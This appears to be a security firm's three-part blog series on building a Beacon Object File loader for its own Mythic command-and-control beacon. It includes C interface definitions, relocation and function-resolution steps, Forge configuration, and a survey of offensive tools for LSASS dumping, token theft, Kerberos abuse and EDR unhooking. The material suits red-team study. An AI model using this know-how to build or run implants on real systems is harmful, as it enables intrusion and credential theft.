Search

Beacon Object Files for Mythic – Part 3

Search

Beacon Object Files for Mythic – Part 3

Dezember 4, 2025

Beacon Object Files for Mythic: Enhancing Command and Control Frameworks – Part 3

This is the third post in a series of blog posts on how we implemented support for Beacon Object Files (BOFs) into our own command and control (C2) beacon using the Mythic framework. In this final post, we will provide insights into the development of our BOF loader as implemented in our Mythic beacon. We will demonstrate how we used the experimental Mythic Forge to circumvent the dependency on Aggressor Script – a challenge that other C2 frameworks were unable to resolve this easily.

The blog post series accompanies the master’s thesis “Enhancing Command & Control Capabilities: Integrating Cobalt Strike’s Plugin System into a Mythic-based Beacon Developed at cirosec” by Leon Schmidt and the related source code release of our BOF loader.

Goals of our BOF runtime

As mentioned in the first part of this blog post series, several BOF loader implementations already exist. The best known is probably the COFF loader from TrustedSec (despite its name, the loader is fully able to run Cobalt Strike BOFs).

However, this loader was not usable for us for various reasons. Our own Mythic beacon has the peculiarity that it is built entirely as shellcode, which brought several disadvantages with it:

  • The C standard library cannot be used (just like it is in BOFs and for the same reason: the linking step is missing in shellcode projects as well).
  • The Windows APIs can only be accessed indirectly – a simple #include <Windows.h> and direct calls to the functions are not possible.
  • Simple use of the process heap is not possible – memory always must be reserved and managed manually.

The COFF loader is based on all three of these features. Our task is therefore to build a loader that also complies with these restrictions. This will allow us to use it in our Mythic beacon. At the same time, we also increase compatibility with other projects in the offensive security field, which are often subject to the same restrictions. This means that we must observe the following:

  • No functions from the C standard library may be used unless the compiler (in our case clang-cl) provides intrinsics for them.
  • The use of Windows APIs should be kept to a minimum. If they are required for a specific task, they must be passed as function pointers by the caller of the loader. This means that the caller is responsible for determining how to resolve the functions.
  • Memory management functions must also be passed by the caller. This allows the caller to define the memory management mechanics itself. The loader will not be able to function completely without memory allocations.
  • The Beacon API functions should also be implemented and passed by the caller, as their implementation sometimes includes system-specific features. It cannot be verified that the caller supports these.
  • The parameters for the BOF must be passed in the form of the size-prefixed binary blob, exactly as Cobalt Strike does. This ensures that the Data Parser API can correctly work with it. The binary blob must be created by the caller.

In the following sections, we describe how we achieved these goals. We have published our BOF loader at https://github.com/cirosec/bof-loader. It is therefore a good idea to look for the relevant code sections there to accompany this blog post. The included “TestMain” project implements the BOF loader exemplary, while the “BOFLoader” project includes, well, the BOF loader.

Implementation of our BOF loader

Preventing the usage of the standard library and Windows API

First, we need to get rid of some standard library calls and look for alternatives, especially those for string manipulation and memory management. memcpy and memset can be easily reimplemented manually (see BOFLoader/Memory.cpp). However, we need some help with allocation and deallocation: Here we use VirtualAlloc and HeapAlloc as well as VirtualFree and HeapFree from the Windows API. For HeapAlloc and HeapFree, we also need GetProcessHeap. These five functions can therefore be added to the list of functions that must be passed by the caller.

Regarding string manipulation, we can implement the functions strlen, strncmp, strncpy, strtok_r and strtol ourselves (see BOFLoader/StringManipulation.cpp). The string tokenizer strtok_r, which may be somewhat unusual in this list, is needed for the implementation of Dynamic Function Resolution (DFR) to split the string at the $ character (see the first blog post on this topic). The rest of the functions are needed from time to time, e.g., to process section or symbol names.

That almost checks off the first item from our requirements list. We still need the four Windows API functions that are linked to the BOF by default because our loader needs to know them too: LoadLibraryA, GetModuleHandleA, GetProcAddress and FreeLibrary. We’ll now define function types for all of these functions so that the caller knows which function signatures to comply with. We also want to leave it up to the caller to decide how DFR should resolve functions. To do this, we additionally define the function type ResolveFunc_t, which takes the library name and function name as parameters of type const char* and should return the function pointer as void*.

We call all these functions external functions, for which we define a struct that is used to hold the pointers to them. The definitions for them look like this:

#include "wintypes.h" // for Windows types (e.g. HANDLE, LPVOID, etc.)

typedef LPVOID(__stdcall* VirtualAlloc_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef BOOL(__stdcall* VirtualFree_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
typedef LPVOID(__stdcall* HeapAlloc_t)(HANDLE hHeap, DWORD wFlags, SIZE_T dwBytes);
typedef BOOL(__stdcall* HeapFree_t)(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem);
typedef HANDLE(__stdcall* GetProcessHeap_t)();

// These functions are the ones that are injected to a BOF by default
typedef HMODULE(*LoadLibraryA_t)(LPCSTR lpLibFilename);
typedef HMODULE(*GetModuleHandleA_t)(LPCSTR lpModuleName);
typedef FARPROC(*GetProcAddress_t)(HMODULE hModule, LPCSTR lpProcName);
typedef BOOL(*FreeLibrary_t)(HMODULE hLibModule);

// DFR resolve function
typedef void*(*ResolveFunc_t)(const char* lib, const char* func);

typedef struct external_functions {
    VirtualAlloc_t VirtualAlloc;
    VirtualFree_t VirtualFree;
    HeapAlloc_t HeapAlloc;
    HeapFree_t HeapFree;
    GetProcessHeap_t GetProcessHeap;
    LoadLibraryA_t LoadLibraryA;
    GetModuleHandleA_t GetModuleHandleA;
    GetProcAddress_t GetProcAddress;
    FreeLibrary_t FreeLibrary;
    ResolveFunc_t ResolveFunc;
} external_functions_t, * external_functions_ptr_t;

Consultant

Category
Date
Navigation

Passing the Beacon API functions

We must do the same with the Beacon APIs. They also have to be implemented by the caller. In addition to the frequently used Data Parser, Format and Output APIs, we have also implemented the Token and Utility APIs, as their implementations are relatively simple. Then we define the function types and the struct to hold them again. We call those functions the Cobalt Strike Compatibility Functions (cs_compat_functions).

#include "wintypes.h" // for Windows types (e.g. HANDLE, LPVOID, etc.)

typedef struct {
    char* original;
    char* buffer;
    int   length;
    int   size;
} datap_t;

typedef struct {
    char* original; // the original buffer
    char* buffer;   // current pointer into our buffer
    int   length;    // remaining length of data
    int   size;        // total size of this buffer
} formatp_t;

// Data Parser API
typedef void (*BeaconDataParse_t)(datap_t* parser, char* buffer, int size);
typedef int (*BeaconDataInt_t)(datap_t* parser);
typedef short (*BeaconDataShort_t)(datap_t* parser);
typedef int (*BeaconDataLength_t)(datap_t* parser);
typedef char* (*BeaconDataExtract_t)(datap_t* parser, int* size);

// Format API
typedef void (*BeaconFormatAlloc_t)(formatp_t* format, int maxsz);
typedef void (*BeaconFormatReset_t)(formatp_t* format);
typedef void (*BeaconFormatFree_t)(formatp_t* format);
typedef void (*BeaconFormatAppend_t)(formatp_t* format, char* text, int len);
typedef void (*BeaconFormatPrintf_t)(formatp_t* format, char* fmt, ...);
typedef char* (*BeaconFormatToString_t)(formatp_t* format, int* size);
typedef void (*BeaconFormatInt_t)(formatp_t* format, int value);

// Output API
typedef void (*BeaconPrintf_t)(int type, char* fmt, ...);
typedef void (*BeaconOutput_t)(int type, char* data, int len);

// Token API
typedef BOOL (*BeaconUseToken_t)(HANDLE token);
typedef void (*BeaconRevertToken_t)(void);
typedef BOOL (*BeaconIsAdmin_t)(void);

// Utility API
typedef BOOL (*toWideChar_t)(char* src, wchar_t* dst, int max);
typedef struct cs_compat_functions {
    // Data Parser API
    BeaconDataParse_t BeaconDataParse;
    BeaconDataInt_t BeaconDataInt;
    BeaconDataShort_t BeaconDataShort;
    BeaconDataLength_t BeaconDataLength;
    BeaconDataExtract_t BeaconDataExtract;

    // Format API
    BeaconFormatAlloc_t BeaconFormatAlloc;
    BeaconFormatReset_t BeaconFormatReset;
    BeaconFormatFree_t BeaconFormatFree;
    BeaconFormatAppend_t BeaconFormatAppend;
    BeaconFormatPrintf_t BeaconFormatPrintf;
    BeaconFormatToString_t BeaconFormatToString;
    BeaconFormatInt_t BeaconFormatInt;

    // Output API
    BeaconPrintf_t BeaconPrintf;
    BeaconOutput_t BeaconOutput;

    // Token API
    BeaconUseToken_t BeaconUseToken;
    BeaconRevertToken_t BeaconRevertToken;
    BeaconIsAdmin_t BeaconIsAdmin;

    // Utility API
    toWideChar_t toWideChar;
} cs_compat_functions_t, * cs_compat_functions_ptr_t;

This means, we have already fulfilled four out of five of the requirements. We still need to package all this in a format that is suitable for the caller: the public API for the BOF loader.

Definition of the public API

The public API should typically consist of a single public function: RunBOF. This function requires the following information:

  • Pointer to the struct containing the external functions (required by the loader itself and for linking them into the BOF)
  • Pointer to the struct containing the Beacon API functions (only for linking them into the BOF)
  • The name of the entry point function in the BOF (by convention go, similar to main in executable programs)
  • The BOF itself as well as its size
  • The binary blob with the parameters for the BOF as well as its size

This results in the following function signature:

int RunBOF(
    external_functions_ptr_t external_functions,
    cs_compat_functions_ptr_t compat_functions,
    char* functionname,
    unsigned char* coff_data, uint32_t filesize,
    unsigned char* argument_data, int argument_size
)

Because it makes things easier, we will add a second function, UnhexlifyArgs, which converts the parameter Binary Blob from a string into raw bytes. The string is either generated by Mythic or can be generated manually using TrustedSec’s beacon_generate.py script. The signature of UnhexlifyArgs then looks like this:

unsigned char* UnhexlifyArgs(
    external_functions_ptr_t external_functions,
    unsigned char* value,
    int* outlen
)

UnhexlifyArgs also requires the external functions, e.g., for strlen and HeapAlloc.

This means that we have fulfilled all requirements and received all necessary functions from the caller. All that is missing now is the actual implementation of the linking process and DFR.

Doing all the heavy linking and DFR

We have already discussed the theory of how linking must take place in the first part of this blog post series. There is not much magic going to happen here. That is why we will take a high-level look at what the BOF loader does.

First, we read the BOF’s file header. Then we allocate an array sectionMapping, which later tracks the contents of each section and performs the relocations in there. In preparation, we iterate over all section headers, count the number of necessary relocations and copy the section data into the sectionMapping. We then iterate over the sections a second time, but now to actually perform the relocations. For each relocation entry, we determine whether the symbol in question is an internal or external symbol. This is important here for two reasons: First, different relocation types are used for different symbol types. To avoid having to implement all of them (some of which have even been deprecated for decades and are no longer used), we make this distinction here. Second, we have to resolve external symbols ourselves in order to place DFR functions or the Beacon APIs there.

In two large if / else if control structures (one for internal and external symbols), we check the corresponding requested relocation type. For internal symbols, the BOF loader supports these relocation types:

  • IMAGE_REL_AMD64_ADDR64
  • IMAGE_REL_AMD64_ADDR32NB
  • IMAGE_REL_AMD64_REL32
  • IMAGE_REL_AMD64_REL32_1
  • IMAGE_REL_AMD64_REL32_2
  • IMAGE_REL_AMD64_REL32_3
  • IMAGE_REL_AMD64_REL32_4
  • IMAGE_REL_AMD64_REL32_5
  • IMAGE_REL_I386_DIR32
  • IMAGE_REL_I386_REL32

The following relocation types are supported for external symbols:

  • IMAGE_REL_AMD64_ADDR64
  • IMAGE_REL_AMD64_REL32 (this is the type used for function relocations)
  • IMAGE_REL_AMD64_ADDR32NB
  • IMAGE_REL_I386_DIR32
  • IMAGE_REL_I386_DIR32
  • IMAGE_REL_I386_REL32

However, before we relocate the external symbol we are currently processing, we first need to find the relocation target of the symbol, i.e., one of the corresponding function pointers that was provided to the loader by the caller. To do this, we use the helper function process_symbol. It receives the raw symbol name and first removes the platform-dependent prefix (__imp__ or __imp_). It then checks whether the remainder of the name references a Beacon API function or one of the four given reloading functions. If that’s the case, the function pointer is known (as it was provided by the caller) and can be returned from the process_symbol function directly. If not, we can be almost certain that it is a DFR symbol. Hence, we use the self-implemented string tokenizer to split the symbol string at the $ character and pass the parts (library and function name) to the ResolvFunc, also provided by the caller. We then (hopefully) receive our function pointer from it, which we can use for relocation. After the process_symbol function returned, we can use the resulting address and perform the relocation according to the wanted relocation type.

We now repeat this process for each section and each relocation within this section. A single error in this process stops the BOF from being invoked, as a single byte too far or too short in a relocation offset will eventually cause the BOF to crash anyway. Due to the lack of the fork-and-run principle, this also means that our beacon would crash, as the BOF runs within the same execution path.

Now all that’s left is to implement the server-side component in Mythic.

Adding the server-side Mythic implementation

We cannot publish the server-side implementation because it is too closely linked to our beacon. However, it is not really difficult to do it yourself. To use the BOF loader in the beacon, you only need to assign a new command in the Mythic payload container, which is then used to call the loader, e.g., execute_bof. This command only requires a file parameter for the BOF itself and a parameter of type “typed array,” which is used for parameterizing the BOF. We will explain why this typed array is important in more detail shortly. Optionally, the name of the entry point function (if different from go) and a chunk size for the transfer of the BOF file can be specified as parameters for the execute_bof command. You can read more about how to add new commands in Mythic, but if you have your own beacon, you should already be familiar with this: https://docs.mythic-c2.net/customizing/payload-type-development/adding-commands/commands

Depending on the setup, the translator may need to be adjusted to support Mythic’s typed array type, as it is still quite new. But otherwise, the Mythic implementation is now complete. This is what the parameter UI for the new command in Mythic looks like:

Figure 1: Parameter UI for the new execute_bof command in Mythic

Bonus: Achieving compatibility with Mythic’s Forge

The beacon and Mythic are now able to handle BOFs. However, there is still one thing missing, which other C2 frameworks were unable to resolve yet, preventing the use of certain BOFs: circumventing Aggressor Script.

On February 5, 2025, Cody Thomas (@its_a_feature_), the developer behind Mythic, announced a new plug-in called Forge. At first glance, it was described as a way to “standardize BOF/.NET execution within Mythic Agents.” But on closer inspection, Forge isn’t a universal runtime, really. Instead, it serves two key purposes: abstraction and library management.

Forge provides an operator interface for running BOFs and .NET assemblies. It doesn’t execute them directly but translates Mythic input into the correct invocation commands for each supported beacon (which would be execute_bof in our case). This means that each beacon must still provide its own BOF runtime, but Forge takes care of calling conventions through Mythic’s new “Command Augmentation” feature, which was introduced in version 3.3. Out of the box, Forge supports the official beacons Apollo and Athena.

Forge also integrates with tool collections like the Sliver Armory for BOFs and SharpCollection for .NET assemblies. These are indexes that provide direct download URLs to the payloads. Since we do not need .NET execution for now, we’re going to ignore the SharpCollection. Forge works perfectly fine with just BOFs.

The Sliver Armory is used as a package index for BOFs used in the Sliver C2 framework. Forge is now making it available to use for Mythic as well. For operators, this means easy access to a curated, pre-adapted BOF index. Additionally, the BOFs in this index are adjusted to remove the Aggressor Script dependency as well as possible! This means, no more hunting down scripts, patching Aggressor Script dependencies or manually compiling the BOFs. You just have a list of everything that is available and usable with Mythic, well, within Mythic:

Figure 2: Forge’s forge_collections command to list and manage registered BOFs (here: removing the “Reg Query” BOF)

After registering a BOF in Forge, it becomes available as a new callback command, e.g. forge_bof_sa-reg-query for the Reg Query BOF from the Situational Awareness collection. Metadata is also provided for each BOF, such as which parameters the BOF requires. With manual execution, you would have to find the required parameters out and also encode them yourself. This is prone to errors: Incorrect parameter passing can lead to a crash in the implementation of the Data Parser Beacon API and thus also to a crash of the beacon.

Forge displays these BOF parameters directly in Mythic, as it does for built-in commands, within the parameter UI:

Figure 3: Forge’s parameter UI for the Reg Query BOF

In practice, Forge eliminates a lot of steps:

  • Searching external sources for (working) BOFs
  • Modifying them to run without Aggressor Script
  • Compiling and uploading them to the Mythic server manually
  • Encoding parameters by hand

In order to make our own beacon compatible with Mythic alongside Athena and Apollo, only a single file in Forge needs to be modified: the payload_type_support.json. It contains the configuration of Forge’s abstraction layer for each payload type (aka beacon). All that needs to be done is specify the target commands for invoking the BOF loader as well as some of the parameters for it that are then populated by Forge. This includes the names of the file parameter, the entry point parameter (this is also abstracted by the BOF metadata stored in the corresponding index) and the parameter in which the BOF arguments are passed. We will leave the fields for .NET execution blank for now, as we do not want to use this feature:

[
    <other payload types>,
    {
        "agent": "cirosec-beacon",
        "bof_command": "execute_bof",
        "bof_file_parameter_name": "file",
        "bof_argument_array_parameter_name": "args_array",
        "bof_entrypoint_parameter_name": "function_name",
        "inline_assembly_command": "",
        "inline_assembly_file_parameter_name": "",
        "inline_assembly_argument_parameter_name": "",
        "execute_assembly_command": "",
        "execute_assembly_file_parameter_name": "",
        "execute_assembly_argument_parameter_name": ""
    }
]

All parameters must, of course, be configured so that they can accept data populated by Forge: The file parameter must be of type “file,” the entry point is passed as a “string” and the BOF arguments as a “typed array” as we have mentioned above. The parameters for the Reg Query BOF shown in Figure 7 would then be passed as follows:

[
    ["z", "CODE-LSC"],
    ["i", 1],
    ["z", "\Environment"],
    ["z", "PATH"],
    ["i", 0]
]

Here, the five parameters “hostname”, “hive”, “path”, “key” and “recursive” are specified in order. This format is specific to Mythic and Forge, but the type constants come from Cobalt Strike. In this case, “z” stands for “string” (while a capital “Z” would mean a wide string) and “i” is a 4-byte integer. The constants can be found in the Cobalt Strike documentation and must be understood by our BOF loader command for Forge to properly work. But since we have already implemented this, we are done here!

Now that Forge knows about our beacon configuration, we need to rebuild the Forge container, and we can start registering BOFs for our beacon. Since the commands and registrations only exist on the server side, they are also globally available for all callbacks without us having to touch the already deployed beacons.

Summing up – What now?

The characteristics of BOFs makes red team operations much easier. The defending/attacked side in turn has a much harder time: Even if they have found and reverse-engineered one of our beacons, they cannot determine what it is capable of due to the BOFs not being included within it. We now have the ability to introduce arbitrary code into each and every environment in which our beacon runs at every time we want.

We are currently in the process of building our own BOF index based on Forge. This will enable us to achieve even greater runtime stability and allows our malware developers to contribute their own BOF implementations, which we can use directly in our red teaming operations. The possibilities are endless from now on. We have also fed back the changes we made to Forge upstream and hope to see further developments in this area.

Further blog articles

Blog

Loader Dev. 4 – AMSI and ETW

April 30, 2024 – In the last post, we discussed how we can get rid of any hooks placed into our process by an EDR solution. However, there are also other mechanisms provided by Windows, which could help to detect our payload. Two of these are ETW and AMSI.

Author: Kolja Grassmann

Mehr Infos »
Blog

Loader Dev. 1 – Basics

February 10, 2024 – This is the first post in a series of posts that will cover the development of a loader for evading AV and EDR solutions.

Author: Kolja Grassmann

Mehr Infos »
Do you want to protect your systems? Feel free to get in touch with us.

Beacon Object Files for Mythic – Part 2

Search

Beacon Object Files for Mythic – Part 2

November 27, 2025

Beacon Object Files for Mythic: Enhancing Command and Control Frameworks – Part 2

This is the second post in a series of blog posts on how we implemented support for Beacon Object Files (BOFs) into our own command and control (C2) beacon using the Mythic framework. In this second post, we will present some concrete BOF implementations to show how they are used in the wild and how powerful they can be.

The blog post series accompanies the master’s thesis “Enhancing Command & Control Capabilities: Integrating Cobalt Strike’s Plugin System into a Mythic-based Beacon Developed at cirosec” by Leon Schmidt and the related source code release of our BOF loader.

Gathering a BOF Test Collection

As part of the development of our BOF loader, we had to look at how the BOFs we want to use with it in the future use the Beacon APIs, Aggressor Script and DFR. To do this, we put together a small collection of tests that are also great for showing what BOFs can do.

We searched GitHub for BOF repositories with as many stars as possible. This resulted in the following list of BOFs (you can safely skip this chapter if you are not interested in the individual BOFs):

fortra/nanodump

NanoDump is a powerful tool designed to create minidumps of the Local Security Authority Subsystem Service (LSASS) with the flexibility to adapt to various operational scenarios. It provides multiple methods to handle the dumping process, offering both direct and indirect techniques to obtain LSASS handles securely and covertly. Operators can choose to write the dump to a specified file path or create a valid signature for the dump to avoid detection. The tool supports advanced methods such as duplicating or elevating existing LSASS handles, leveraging the Seclogon service to leak or duplicate handles and using spoofed call stacks to evade security mechanisms. Additionally, NanoDump enables indirect dumping through external processes like WerFault.exe, which can be triggered using features such as SilentProcessExit or the Shtinkering technique.

trustedsec/CS-Situational-Awareness-BOF

Contrary to its name, CS-Situational-Awareness-BOF is not a single BOF but a collection of smaller BOFs for situational awareness, created by TrustedSec. There are BOFs for enumerating certificates, querying the local ARP table, sending LDAP queries to the local Active Directory, displaying the visible windows in the current user session and much more. With many of the functions, individual commands of a Windows CMD can be retrofitted in the form of BOFs. As this collection covers the situational awareness area quite comprehensively, this project is probably one of the most important in terms of BOFs.

trustedsec/CS-Remote-OPs-BOF

CS-Remote-OPs-BOF again is a collection of BOFs developed by TrustedSec, complementing its earlier Situational Awareness BOF collection by introducing tools that modify system states, enabling a broader range of offensive security tasks. The BOFs included in this collection cover fundamental Windows operations, such as managing services, registry keys, scheduled tasks and user accounts. Additionally, the repository offers BOFs for process management, including dumping process memory and handling process states. Recognizing the importance of stealth and evasion, TrustedSec has also included injection BOFs used in EDR testing. While these are provided without support, they serve as valuable resources for understanding and implementing code injection techniques. This collection is probably as important as CS-Situational-Awareness-BOF for red team operations.

anthemtotheego/InlineExecute-Assembly

InlineExecute-Assembly is a PoC BOF developed to facilitate in-process execution of .NET assemblies. This approach serves as an alternative to Cobalt Strike’s traditional execute-assembly module, which typically employs a fork-and-run technique. By executing .NET assemblies directly within the current beacon process, InlineExecute-Assembly eliminates the need to spawn sacrificial processes, thereby reducing the operational footprint and enhancing stealth during engagements. The tool is designed to handle assemblies with entry points defined as Main(string[] args) or Main(), allowing for the execution of most existing .NET tools without requiring modifications. It does this by automatically determining and loading the appropriate CLR version before execution.

GhostPack/Koh

Koh is a token stealing tool implemented using a server/client architecture. The server, written in C#, is injected into a high-privileged process, such as one running with SYSTEM permissions, where it can continuously monitor and capture user tokens and logon sessions. By operating independently of the C2 infrastructure, the server persists in the target environment, enabling long-term operation without relying on constant communication with the attacker’s framework. The client, on the other hand, is implemented as a BOF. It is designed to allow users to send commands to the server, retrieve and use captured tokens for impersonation and configure its behavior as needed. This server/client architecture avoids the limitations of BOFs, which are inherently ephemeral and tied to the lifecycle of the C2 beacon, meaning that they should not be used for long-running tasks.

mertdas/PrivKit

PrivKit is a set of BOFs designed to identify privilege escalation vulnerabilities resulting from misconfigurations in Windows operating systems, thus supporting the work during the reconnaissance phase. The following misconfiguration types can be detected:

  • Unquoted service paths
  • Autologin registry key set
  • “Always Install Elevated” registry key set
  • Modifiable autorun folders
  • Existence of known hijackable paths
  • Possible enumeration of credentials from credential manager
  • Misconfigured token privileges

Although the description in the repository says that PrivKit is a single BOF, it actually consists of seven individual smaller BOFs that are bundled into one Cobalt Strike command with the help of Aggressor Script.

CodeXTF2/ScreenshotBOF

ScreenshotBOF is a utility to capture screenshots from within a Cobalt Strike beacon using non-malicious Windows APIs. The screenshots can be saved on disk on the target’s computer or kept in memory for transmission over the C2 channel.

wavvs/nanorobeus

Nanorobeus is a post-exploitation BOF to facilitate privilege escalation, credential dumping and lateral movement within a compromised Windows environment. While doing virtually the same as the popular tool “Rubeus”, but as a BOF, it automates the extraction of information, such as credentials, tokens and service accounts, by utilizing Windows API calls and manipulating native OS processes. Additionally, it supports common attack techniques like Kerberoasting, pass the hash, and pass the ticket to bypass authentication mechanisms and move laterally between machines.

zyn3rgy/smbtakeover

The smbtakeover repository provides techniques to unbind and rebind TCP port 445 on Windows systems without the need to load drivers, inject modules into the LSASS or reboot the target machine. This approach facilitates SMB-based NTLM relay attacks during C2 operations. The repository includes PoC implementations in both Python and as BOF, utilizing RPC over TCP for remote machine targeting.

CodeXTF2/WindowSpy

WindowSpy is a BOF designed for targeted user surveillance. Its primary objective is to activate surveillance capabilities only for specific scenarios, such as browser login pages, sensitive documents or VPN login screens. This approach enhances stealth by reducing the risk of detection associated with repeated surveillance activities, like taking frequent screenshots. Additionally, it streamlines operations for red teams by minimizing the volume of surveillance data, saving time that would otherwise be spent analyzing extensive logs generated by constant keylogging or screen monitoring.

rsmudge/unhook-bof

Unhook-BOF is a simple BOF that removes API hooks from the beacon process. API hooking is often used by EDR software to monitor running processes. This allows certain malicious function calls or memory accesses to be detected and prevented at runtime. With Unhook-BOF, these externally set API hooks can be removed to make the process stealthier.

EncodeGroup/BOF-RegSave

BOF-RegSave is designed to facilitate privilege escalation and registry key extraction. It enables the beacon to acquire the necessary system privileges and retrieve the SAM, SYSTEM and SECURITY keys from the Windows registry. These keys can then be analyzed offline to extract password hashes and other sensitive data, aiding in post-exploitation activities. By targeting these critical registry keys, the BOF provides a streamlined and efficient method for gathering credentials and escalating access during red team operations. The results are stored on disk and must be manually extracted afterwards.

boku7/whereami

Whereami is a BOF that extracts information about the running beacon in an OPSEC way. It does this by using handwritten shellcode to return the process environment strings without accessing any DLLs. The shellcode extracts the same information returned from whoami.exe (along with other environment values) from the beacon processes memory. There exists a similar BOF within the CSSituational-Awareness-BOF collection that can be used to acquire the same information.

connormcgarr/tgtdelegation

Tgtdelegation is a BOF to obtain a usable Kerberos Ticket Granting Ticket (TGT) for the current user using the well-known “TGT delegation trick”. A Service Principal Name (SPN) can also be specified if the default SPN is not configured for unconstrained delegation. The process extracts the TGT from Windows API calls and prepares it for the specified target, which must support unconstrained delegation. This approach simplifies obtaining and leveraging Kerberos tickets for red team operations.

ASkyeye/Cobalt-Clip

Cobalt-Clip is a BOF that enables interaction with a target’s clipboard during post-exploitation activities. It allows for dumping and setting the current contents of it, while also offering an option to monitor the clipboard for changes, providing details such as the updated content, the active window at the time of change and the timestamp, using the clipmon command. This command operates as a reflective DLL instead of within a BOF – correctly adhering to the intended design of BOFs not being used for long-running tasks – and is initiated as a job using the bdllspawn function within the Aggressor Script.

Assessing Beacon API and Aggressor Script Usage

To determine the use of the Beacon APIs, we used the GitHub Search API. It is ideal for finding function calls, for example. We searched explicitly for the function names of the Beacon APIs and found out the following:

  • All but two BOFs use the Data Parser API (the other two are not parameterized)
  • Only 3 of 15 BOFs use the Format API directly
  • All BOFs except one use the Output API, which means they are directly dependent on the Format API as well
  • One BOF used the Token API
  • One BOF used the Spawn+Inject API
  • One BOF used the Key/Value Store API
  • The remaining APIs were completely unused

All the BOFs mentioned come with an Aggressor Script file. Some BOFs are dependent on it and cannot be run standalone. However, this does only apply to all of them: The CS-Situational-Awareness-BOF and CS-Remote-Ops-BOF collections are designed for standalone execution, which means that a large number of smaller tasks can already be performed.

DFR is used by almost all of the BOFs. Two other BOFs resolve the functions themselves using LoadLibraryA and GetProcAddress (maybe the authors did not know DFR existed?). Approximately half of the BOFs that use DFR also use TrustedSec’s bofdefs.h.

More complex BOFs such as the token stealing toolkit Koh are much more difficult to separate from Aggressor Script, mainly due to their non-standard client/server architecture. Some of the BOFs are only executed as a “reaction” to an Aggressor Script event, such as WindowSpy, which is executed at certain intervals, like on beacon check-ins. Such approaches are difficult to transfer to Mythic as they are, but the techniques used can be easily rewritten to work without the Aggressor Script dependency with some time investment. However, this list of BOFs clearly demonstrates how powerful they can be.

Conclusion

In this second part of the blog post series, we looked at various public BOF implementations. Hopefully, it showed how versatile and powerful they can by and why they are indispensable for us too.

In the next part of this blog post, we will dive in with more technical details. We will show how we have implemented our own BOF loader in order to facilitate execution of several of the BOFs shown in this part.

Consultant

Category
Date
Navigation

Further blog articles

Red Teaming

Windows Instrumen­tation Call­backs – Part 4

February 10, 2026 – In this blog post we will cover ICs from a more theoretical standpoint. Mainly restrictions on unsetting them, how set ICs can be detected and how new ones can be prevented from being set. Spoiler: this is not entirely possible.

Author: Lino Facco

Mehr Infos »
Reverse Engineering

Windows Instrumen­tation Call­backs – Part 3

January 28, 2026 – In this third part of the blog series, you will learn how to inject shellcode into processes with ICs as an execution mechanism without creating any new threads for your payload and without installing a vectored exception handler.

Author: Lino Facco

Mehr Infos »
Command-and-Control

Beacon Object Files for Mythic – Part 3

December 4, 2025 – This is the third post in a series of blog posts on how we implemented support for Beacon Object Files (BOFs) into our own command and control (C2) beacon using the Mythic framework. In this final post, we will provide insights into the development of our BOF loader as implemented in our Mythic beacon. We will demonstrate how we used the experimental Mythic Forge to circumvent the dependency on Aggressor Script – a challenge that other C2 frameworks were unable to resolve this easily.

Author: Leon Schmidt

Mehr Infos »
Command-and-Control

Beacon Object Files for Mythic – Part 2

November 27, 2025 – This is the second post in a series of blog posts on how we implemented support for Beacon Object Files (BOFs) into our own command and control (C2) beacon using the Mythic framework. In this second post, we will present some concrete BOF implementations to show how they are used in the wild and how powerful they can be.

Author: Leon Schmidt

Mehr Infos »
Command-and-Control

Beacon Object Files for Mythic – Part 1

November 19, 2025 – This is the first post in a series of blog posts on how we implemented support for Beacon Object Files into our own command and control (C2) beacon using the Mythic framework. In this first post, we will take a look at what Beacon Object Files are, how they work and why they are valuable to us.

Author: Leon Schmidt

Mehr Infos »
Red Teaming

The Key to COMpromise – Part 2

January 29, 2025 – In this post, we will delve into how we exploited trust in AVG Internet Security (CVE-2024-6510) to gain elevated privileges.
But before that, the next section will detail how we overcame an allow-listing mechanism that initially disrupted our COM hijacking attempts.

Author: Alain Rödel and Kolja Grassmann

Mehr Infos »
Red Teaming

The Key to COMpromise – Part 1

January 15, 2025 – In this series of blog posts, we cover how we could exploit five reputable security products to gain SYSTEM privileges with COM hijacking. If you’ve never heard of this, no worries. We introduce all relevant background information, describe our approach to reverse engineering the products’ internals, and explain how we finally exploited the vulnerabilities. We hope to shed some light on this undervalued attack surface.

Author: Alain Rödel and Kolja Grassmann

Mehr Infos »
Do you want to protect your systems? Feel free to get in touch with us.

Beacon Object Files for Mythic – Part 1

Search

Beacon Object Files for Mythic – Part 1

November 19, 2025

Beacon Object Files for Mythic: Enhancing Command and Control Frameworks – Part 1

This is the first post in a series of blog posts on how we implemented support for Beacon Object Files into our own command and control (C2) beacon using the Mythic framework. In this first post, we will take a look at what Beacon Object Files are, how they work and why they are valuable to us.

The blog post series accompanies the master’s thesis “Enhancing Command & Control Capabilities: Integrating Cobalt Strike’s Plugin System into a Mythic-based Beacon Developed at cirosec” by Leon Schmidt and the related source code release of our BOF loader.

Introduction to C2 frameworks, Cobalt Strike and Mythic

If you are already familiar with the basics of C2, you can skip right ahead to What are Beacon Object Files and why do we need them?

C2 frameworks are a popular tool for bad actors to attack and infiltrate infrastructures and systems. They allow long-lasting inroads to be made into the infrastructure, through which attackers can interact with it through covert channels. These frameworks thus play a crucial role in cybersecurity and our day-to-day work at cirosec, enabling our red teams and penetration testers to simulate those real-world adversary tactics. The increasing complexity of modern cyber threats has driven the development of advanced C2 frameworks, such as Cobalt Strike and Mythic, which are widely used by threat actors and our red teamers alike.

The default C2 infrastructure

The C2 principle is implemented using two main components, the beacon (also known as the agent or implant) and the controller (also known as the team server).

The beacon is the component that is brought onto the compromised system using various delivery techniques, e.g. by using shellcode injection (we have developed our own shellcode loader to carry out delivery, which we have covered in a separate blog post series starting here, if you are interested). Once the beacon is launched, it connects back to the C2 infrastructure. Each new incoming connection from a beacon is usually referred to as a callback. The payload data transmitted through the callback is usually hidden and obfuscated by a so-called C2 profile. This C2 profile is implemented in both the beacon and the controller and defines the data format and the transport channel through which the payload data is sent. Usually, the HTTP protocol is employed for this, as it is frequently used for legitimate connections. It is rarely recognized as conspicuous in most environments and therefore rarely blocked. In some cases, other common network protocols such as DNS or SMB named pipes are misused to hide these messages. After the connection between the beacon and the controller is established, the red team can send commands to the beacon through this covert C2 channel.

